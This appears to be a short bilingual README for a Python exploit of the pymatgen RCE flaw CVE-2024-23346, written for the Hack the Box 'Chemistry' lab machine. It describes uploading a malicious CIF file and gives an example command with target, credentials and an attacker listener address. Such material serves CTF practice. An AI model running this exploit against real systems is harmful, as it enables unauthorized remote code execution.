
This is a exploit for the known Remote Code Execution (RCE) vulnerability in the `pymatgen` (CVE-2024-23346) Python library by uploading a malicious `CIF` file to the hosted `CIF Analyzer` website on the target running on the Chemistry machine from Hack the Box.
Ceci est un exploit pour la vulnérabilité connue d'exécution de code à distance (RCE) dans la bibliothèque Python pymatgen (CVE-2024-23346) en téléchargeant un fichier CIF malveillant vers le site web CIF Analyzer hébergé sur la machine Chemistry de Hack the Box.
Lien NVD CVE : https://nvd.nist.gov/vuln/detail/CVE-2024-23346
Utilisation : CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
Exemple :
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
